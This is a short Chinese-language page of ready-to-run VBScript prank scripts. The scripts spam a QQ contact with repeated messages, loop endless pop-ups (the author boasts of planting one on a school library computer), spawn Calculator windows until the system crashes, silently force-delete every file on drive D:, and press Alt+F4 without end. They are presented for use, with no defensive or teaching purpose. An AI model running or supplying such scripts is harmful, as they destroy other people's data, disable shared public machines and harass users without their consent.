操作方法

打开好友的聊天对话框,然后记下在QQ里好友的昵称,把以下代码中xx替换一下,就可以自定义发送QQ信息到好友的次数(代码中数字10改下即可). xx.vbs=>=--------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit

我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈。do msgbox "You are foolish!" loop

打开无数个计算器,直到死机。set wsh=createobject("wscript.shell") do wsh.run "calc" loop

删除D:\所有文件 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

不断按下alt+f4 (开什么都关闭……) dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop